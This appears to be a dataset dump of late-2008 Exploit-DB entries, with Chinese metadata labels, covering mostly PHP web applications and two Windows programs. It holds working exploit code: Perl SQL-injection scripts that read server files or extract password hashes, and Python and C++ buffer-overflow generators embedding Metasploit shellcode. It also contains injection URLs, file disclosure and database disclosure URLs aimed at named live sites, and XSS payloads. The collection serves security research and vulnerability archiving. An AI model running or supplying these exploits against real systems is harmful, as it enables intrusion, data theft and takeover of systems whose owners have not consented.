QLWD/code_shield huggingface dataset:
标题: Joomla! Component com_tophotelmodule 1.0 - Blind SQL Injection EDB-ID: 7539 CVE: 2008-5865 2008-5864 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-21 漏洞利用脚本: #############################################################
Joomla Component com_tophotelmodule(id) Blind SQL-injection
#############################################################
 
 
###################################################
#[~] Author :  boom3rang  
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
----------------------------------------
#[!] <name>Top Hotel Module</name>
#[!] <creationDate>06/07/2008</creationDate>
#[!] <author>Joomla HBS</author>
#[!] <authorEmail>dev@joomlahbs.com</authorEmail>
#[!] <authorUrl>http://joomlahbs.com</authorUrl>
#[!] <version>1.0.0</version>
###################################################
 
Example:
http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=[SQL-vulnerability]
 
 
LiveDEMO:
 
http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=4   -->FALSE
 
http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=5   -->TRUE
 
 
##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7539
标题: RSS Simple News - SQL Injection EDB-ID: 7541 CVE: 2008-6333 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-22 漏洞利用脚本: #!/usr/bin/perl
################################
##    Coded by Piker [piker(dot)ther00t(at)gmail(dot)com]
##      D.O.M Team
## piker,ka0x,an0de,xarnuz
## 2008 Security Researchers
################################
##
## RSS Simple News Remote SQL Injection Exploit
## http://sourceforge.net/projects/rss-simple-news/
##
##   This exploit tries to read an
##   arbitrary file.
##
##   It needs magic_quotes_gpc=off
##
################################

# piker@domlabs:~/advisories$ perl rss.pl http://localhost/rss /etc/passwd
#[+] File HEX: 0x2f6574632f706173737764
#[+] Host: http://localhost/rss/
#[+] File content:
#daemon:x:1:1:daemon:/usr/sbin:/bin/sh
#bin:x:2:2:bin:/bin:/bin/sh
#sys:x:3:3:sys:/dev:/bin/sh
#sync:x:4:65534:sync:/bin:/bin/sync
#games:x:5:60:games:/usr/games:/bin/sh
# [...]
#[+] EOF
#
#


use LWP::UserAgent;

open(FILE, ">&STDOUT");

my $host = $ARGV[0];
my $file = $ARGV[1];

die &_USO unless $ARGV[1];

sub _USO
{
    die "
    RSS Simple News Remote Sql Injection Exploit

    This exploit tries to read an
    arbitrary file.

    It needs magic_quotes_gpc=off

    usage: ./$0 <host> <file_you_want>
    ex: ./$0 http://localhost/rss/ /etc/passwd

    ";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");

my $tmp="0x";
my $tmp2;

foreach my $c (split(//, $file)){
    $tmp2 = sprintf ("%x", ord($c));
    $tmp .= $tmp2;
}

print FILE "[+] File HEX: ".$tmp."\n";

if ($host !~ /\/$/){ $host .= "/"; }

print FILE "[+] Host: ".$host."\n";

my $req = HTTP::Request->new(GET => $host."news.php?pid=-1' union select 1,2,3,4,CONCAT(0x3c46494c453e,load_file(".$tmp."),0x3c46494c453e),6 and 'a'='a");
my $res = $ua->request($req);
my $con = $res->content;

my $ok = 0;
open (OUT, ">result.txt");

if ($res->is_success){
    foreach my $linea (split(/\n/, $con)){
        if($ok == 1){
            if ($linea !~ /<FILE>/){
                print FILE $linea."\n";
        print OUT $linea."\n";
            }else{
                print FILE "\n[+] EOF\n";
        print "\n[+] File saved into 'result.txt'\n";
                goto salida;
            }
        }
        if($linea =~ /<FILE>/i && $ok == 0){
            $ok = 1;
            print FILE "[+] File content: \n";
        }
    }
    salida:
    if ($ok == 0){
        print FILE "[-] Exploit Failed!\n";
    }      
}
else{
    print FILE "[-] Exploit Failed!\n";
}

close(FILE);
close(OUT);

#EOF

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7541
标题: Text Lines Rearrange Script - 'Filename' File Disclosure EDB-ID: 7542 CVE: 2008-6336 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-22 漏洞利用脚本: #############################################################################################
[+] Text Lines Rearrange Script (download.php filename) File
Disclosure Vulnerability
[+] Discovered By SirGod
[+] Visit : www.h4cky0u.org
[+] Greetz : All my friends
#############################################################################################

 [+] File Disclosure Vulnerability

  Vulnerable Code in download.php :

-----------------------------------------------------

if(file_exists($filename))
{
 $fp=fopen($filename,"r");
 $content=fread($fp,filesize($filename));
 fclose($fp);
 
------------------------------------------------------ 
 
 PoC :

  http://[target]/[path]/download.php?filename=[Local File]

 Example :

  http://[target]/[path]/download.php?filename=index.php

 Live Demo :

  http://www.rightscripts.com/listrearrange/download.php?filename=index.php

#############################################################################################

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7542
标题: CoolPlayer 2.19 - '.Skin' Local Buffer Overflow EDB-ID: 7547 CVE: 2008-5735 类型: LOCAL 平台: WINDOWS 发布日期: 2008-12-22 漏洞利用脚本: # CoolPlayer (Skin) Buffer Overflow
# maybe all versions are affected  :) 
# By:Encrypt3d.M!nd
#
# Orginal Exploit: by r0ut3r
# http://www.milw0rm.com/exploits/7536
#
# i've test it on my box(winxp sp3) and didn't work
# so i've re-wrote the exploit and this is workin
# tested: Windows xp sp3 patched
# version tested:2.17,2.18,2.19
#
# Greetz:-=Mizo=-,L!0n,El Mariachi,MiNi SpIder,GGy,and all my friends
###################################################

chars = "A"*1511

eip = "\x6B\x8C\x49\x7E" #user32.dll jmp esp

header = "[CoolPlayer Skin]\nPlaylistSkin="


# win32_adduser -  PASS=t35t EXITFUNC=seh USER=t35t Size=489
Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x57"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x45\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x34"
"\x4b\x58\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x38\x42\x37\x4e\x41\x4d\x4a"
"\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x33\x4f\x35\x41\x33"
"\x48\x4f\x42\x56\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x47"
"\x42\x35\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x46\x4d\x46"
"\x46\x36\x50\x42\x45\x36\x4a\x37\x45\x56\x42\x52\x4f\x42\x43\x56"
"\x42\x42\x50\x36\x45\x46\x46\x57\x42\x52\x45\x47\x43\x47\x45\x46"
"\x44\x37\x42\x32\x46\x47\x43\x43\x45\x43\x46\x57\x42\x52\x46\x47"
"\x43\x43\x45\x33\x46\x47\x42\x42\x4f\x32\x41\x34\x46\x54\x46\x54"
"\x42\x52\x48\x42\x48\x32\x42\x42\x50\x46\x45\x36\x46\x57\x42\x32"
"\x4e\x36\x4f\x56\x43\x46\x41\x36\x4e\x36\x47\x56\x44\x37\x4f\x36"
"\x45\x37\x42\x37\x42\x32\x41\x44\x46\x46\x4d\x56\x49\x56\x50\x56"
"\x49\x46\x43\x57\x46\x57\x44\x57\x41\x56\x46\x37\x4f\x46\x44\x37"
"\x43\x57\x42\x42\x46\x37\x43\x33\x45\x53\x46\x47\x42\x52\x4f\x52"
"\x41\x54\x46\x34\x46\x34\x42\x50\x5a");

poc = (header+chars+eip+"\x90"*10+shellcode)

file = open('skin.ini','w+')
file.write(poc)
file.close()

# milw0rm.com [2008-12-22] URL: https://www.exploit-db.com/exploits/7547
标题: Emefa Guestbook 3.0 - Remote Database Disclosure EDB-ID: 7534 CVE: 2008-5852 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-21 漏洞利用脚本: ###########################################################
#Title:       Emefa Guestbook V 3.0 Remote Database Disclosure Vulnerability
#Credit:      Cyber.Zer0          
#E-mail:             Cyber.Zer0[4t]Hotmail[dot]com                                                                                           
#Download:    http://www.emefa.dyndns.org/downloads/      
#Remote:      Yes                                         
#Dork:        "Emefa Guestbook V 3.0"                                            
############################################
--=[Database Disclosure]=--
http://target.com/guestbook.mdb
####################################

Live Demo

http://www.navigatorcentrum.nu/ung/guestbook/guestbook.mdb

Or
http://www.devalk.be/guestbook/guestbook.mdb

# milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7534
标题: CoolPlayer 2.19 - '.Skin' Local Buffer Overflow EDB-ID: 7536 CVE: 2008-5735 类型: LOCAL 平台: WINDOWS 发布日期: 2008-12-21 漏洞利用脚本: /*
* CoolPlayer 2.19 (Skin File) Local Buffer Overflow Exploit
*
* Advisory: http://www.bmgsec.com.au/advisory/43/
* Test box: WinXP Pro SP2 English
*
* Code reference is in skin.c, lines 464 - 480
*
* Written and discovered by:
* r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
*/

#include <iostream>
#include <fstream>
#include <cstdlib> //exit

using namespace std;

int main()
{
    //win32_exec -  EXITFUNC=process CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
    //Bad characters: 0x00, 0x0d, 0xf4
    char scode[] =
        "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
        "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
        "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
        "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
        "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
        "\x42\x30\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x53\x4b\x38\x4e\x57"
        "\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38"
        "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x33\x4b\x48"
        "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
        "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
        "\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x38"
        "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x30\x4b\x54"
        "\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
        "\x41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
        "\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x33\x45\x58\x42\x4c\x4a\x47"
        "\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a"
        "\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b"
        "\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x53"
        "\x48\x4f\x42\x46\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
        "\x42\x45\x4a\x46\x50\x47\x4a\x4d\x44\x4e\x43\x37\x4a\x46\x4a\x39"
        "\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46"
        "\x4e\x36\x43\x46\x50\x32\x45\x46\x4a\x37\x45\x46\x42\x30\x5a";

    char buffer[1918];
    char eip[] = "\x27\x38\x03\x7d"; //jmp esp

    cout << "[*] Generating payload\n";
    strcpy(buffer, "[CoolPlayer Skin]\nPlaylistSkin=");

    int i;
    for (i=0; i<1534; i++)
        buffer[31+i] = 'A';

    for (i=0; i<sizeof(eip); i++)
        buffer[1565+i] = eip[i];

    for (i=0; i<sizeof(scode); i++)
        buffer[1569+i] = scode[i];

    ofstream outStream;
    outStream.open("cp.ini");

    outStream << buffer;

    outStream.close();

    cout << "[+] Skin file created.\n";

    return 0;
}

// milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7536
标题: PowerStrip 3.84 - 'pstrip.sys' Local Privilege Escalation EDB-ID: 7533 CVE: 2008-5725 类型: LOCAL 平台: WINDOWS 发布日期: 2008-12-21 漏洞利用脚本: ////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | EnTech Taiwan - http://www.entechtaiwan.com/                               | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | PowerStrip <= 3.84                                                         | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | PowerStrip support NT kernel-mode driver - pstrip.sys <= 5.0.1.1           | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 20 December 2008                                                           | //
// |                                                                            | //
// | References:                                                                | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://reversemode.com/                                 | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://www.ntinternals.org/ntiadv0810/PowerStrip_Exp.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7533.zip (2008-PowerStrip_Exp.zip)
 
Advisory:
http://www.ntinternals.org/ntiadv0810/ntiadv0810.html

# milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7533
标题: BLOG 1.55B - 'image_upload.php' Arbitrary File Upload EDB-ID: 7537 CVE: 2008-5732 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-21 漏洞利用脚本: ################## Piker #######################################
#
#
#    BLOG v1.55B Arbitrary File Upload Vulnerability
#

#
#    Affected software: BLOG v1.55B prior versions can be affected

#    Vendor: http://sourceforge.net/projects/kafooeyblog/
#    Risk: High
#
################################################################

#

#    http://[target]/[path]/lib/image_upload.php
#
#   This script only checks if the file you are uploading
#   is not a text/plain file so you can upload whatever
#   you want, for example a PHP Shell.
#

#   
################################################################
#
#         Found by Piker [piker0x90(at)gmail(dot)com]
#
#            D.O.M Labs - Security Researchers
#                   www.domlabs.org

#
#
################################################################

# milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7537
标题: Joomla! Component com_hbssearch 1.0 - Blind SQL Injection EDB-ID: 7538 CVE: 2008-5865 2008-5864 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-21 漏洞利用脚本: #############################################################
Joomla Component com_hbssearch(r_type) Blind SQL-injection
#############################################################


###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
----------------------------------------
#[!] <author>Joomla HBS</author>
#[!] <client>Administrator</client>
#[!] <authorEmail>dev@joomlahbs.com</authorEmail>
#[!] <authorUrl>http://joomlahbs.com</authorUrl>
#[!] <version>1.0.0</version>
###################################################

Example:
http://localhost/Path/index.php?option=com_hbssearch&task=showhoteldetails&id=1&r_type=[SQL-vulnerability]


LiveDEMO:

http://demo.joomlahbs.com/p1/index.php?option=com_hbssearch&task=showhoteldetails&id=4&r_type=1 and substring(@@version,1,1)=4&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54    -->FALSE

http://demo.joomlahbs.com/p1/index.php?option=com_hbssearch&task=showhoteldetails&id=4&r_type=1 and substring(@@version,1,1)=5&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54    -->TRUE


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7538
标题: Userlocator 3.0 - Blind SQL Injection EDB-ID: 7530 CVE: 2008-5863 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-21 漏洞利用脚本: #!/usr/bin/perl -w

use strict;
use LWP::Simple;

$| = 1;
p
print q {

:::::::::::::::::::::::::::::
:: Userlocator 3.0 Exploit ::
::  written by katharsis   ::
:::::::::::::::::::::::::::::

[~] www.katharsis.x2.to
[~] nebelfrost23@web.de

};

if (@ARGV < 2) {
 print "Usage: usrlocsploit.pl [url] [user id]\nExample: usrlocsploit.pl www.target.com 1\n";
 exit;
}

my $page = shift;
my $uid  = shift;

my $prefix;

my @charset = ('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0');

print "[x] Vulnerability check...\n";

my $chreq = get("http://".$page."/locator.php?action=get_user&y='");

if (($chreq =~ m/Database error/i) || ($chreq =~ m/Invalid SQL/i)) { 

print "[x] Seems to be vulnerable!\n";

} else {

print "[o] Seems to be patched, sorry\n";
exit;

}

print "[^] Prefix check...\n";

if ($chreq =~ m/(..._)wlw/i) {

 print "[^] Success, using Prefix '$1'\n";
 $prefix = $1;

} else { 
 print "[o] Can't find prefix, using 'bb1_'\n";
 $prefix = "bb1";
}

print "[+] Getting hash...\n";
print "[+] Hash: ";

my $curnum = 1;

while($curnum < 32) {

my $false_result = get("http://".$page."/locator.php?action=get_user&x=233&y=365'/**/OR/**/ascii(substring((SELECT+password+FROM+".$prefix."users+WHERE+userid=".$uid."),".$curnum."))=-1/*");

foreach(@charset) {

 my $ascode       = ord($_);
 my $result       = get("http://".$page."/locator.php?action=get_user&x=233&y=365'/**/OR/**/ascii(substring((SELECT+password+FROM+".$prefix."users+WHERE+userid=".$uid."),".$curnum."))=".$ascode."/*");

 if (length($result) != 0) {
  if (length($result) != length($false_result)) {
   print chr($ascode);
   $curnum++;
   }
  }
 }
}

print "\n[+] Done!\n";

# EOF

# milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7530
标题: Chicomas 2.0.4 - Database Backup / File Disclosure / Cross-Site Scripting EDB-ID: 7532 CVE: 2008-5853 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-21 漏洞利用脚本: ########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title:  chicomas <=2.0.4 Multiple Vulnerabilities
# Vendor: http://www.chicomas.com/
# Demo:   http://demo.opensourcecms.com/chicomas
# Bug:    Database Information Disclosure, Authorization Weakness, XSS
# Vulnerable Version: 2.0.4
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_59.htm
###################################################################


####################
- Description:
####################

  ChiCoMaS is free web based Content Management System based on PHP & MySQL with Full featured WYSIWYG TinyMCE editor,
File management with QuiXplorer, User and group administration to manage access permissions & Backup/Restore with integrated MySqlBackupPro.

####################
- Vulnerability:
####################

+-->Dtabase Information Disclosure

POC: http://[URL]/chicomas/config.inc


+-->The Latest generated Database backups

POC: http://[URL]/chicomas/backup


+-->Cross Site Scripting (XSS). Reflected XSS attack in "index.php" in "q" parameter.

POC: http://[URL]/chicomas/index.php?q="<script>alert(/www.BugReport.ir/.source)</script>

####################
- Solution:
####################

Restrict and grant only trusted users access to the resources. Edit the source code to ensure that inputs are properly sanitized.

####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7532
标题: myPHPscripts Login Session 2.0 - Cross-Site Scripting / Database Disclosure EDB-ID: 7526 CVE: 2008-5855 2008-5854 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-19 漏洞利用脚本: [START]

####################################################################################################################
[0x01] Informations:

Script         : myPHPscripts Login Session 2.0
Download       : http://www.hotscripts.com/jump.php?listing_id=69881&jump_type=1
Vulnerability  : XSS / Database Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [XSS]
######

Bugged file is: /[path]/login.php

[CODE]

if ($u_invalid == 1) { $errors[] = "User <strong>$user</strong> is invalid. 3-15 alphanumeric characters required."; }

[/CODE]

If the username that we typed in the register form is invalid, it will directly appear in the html code.
So we just have to put a js code, like an alert, and we will get a XSS.

[!] FIX: Filter or validate $user before printing it in html code.


[!] EXPLOIT: 
             1) Go at: /[path]/login.php?ls_register
             2) In User form put a js code. (ex: <script>alert("XSS")</script>)
             3) Field the other forms, and press register button.

####################################################################################################################
[0x03] Bug: [Database Disclosure]
######

Bugged file is: /[path]/login.php

[CODE]

 if (empty($errors)) {
  $newline = $records++;
  $e_email = base64_encode($email);
  $data = "$newline||$user||$e_email||$pass\n";
  $fh = fopen($users, 'a') or die("Can't open user database.");
  fwrite($fh, $data);
  fclose($fh);
?>

[/CODE]

This cms uses a flat database, a .txt file where it stores usernames,passwords and emails of the registered
users.

[!] FIX: Don't use this kind of authentication :)


[!] EXPLOIT: /[path]/users.txt

             Informations are printed in this way:
             0||admin||b3NpcnlzQGxpdmUuaXQ=||6e1459df459890dfd8b4c3687c18abba
             1||cazzone||bG9sQGxvbC5pdA==||b7dba5a1bc3605a87b59ac8147512c97

             user_number||username||email(base64 encrypted)||password(md5 encrypted)

####################################################################################################################

[/END]

# milw0rm.com [2008-12-19] URL: https://www.exploit-db.com/exploits/7526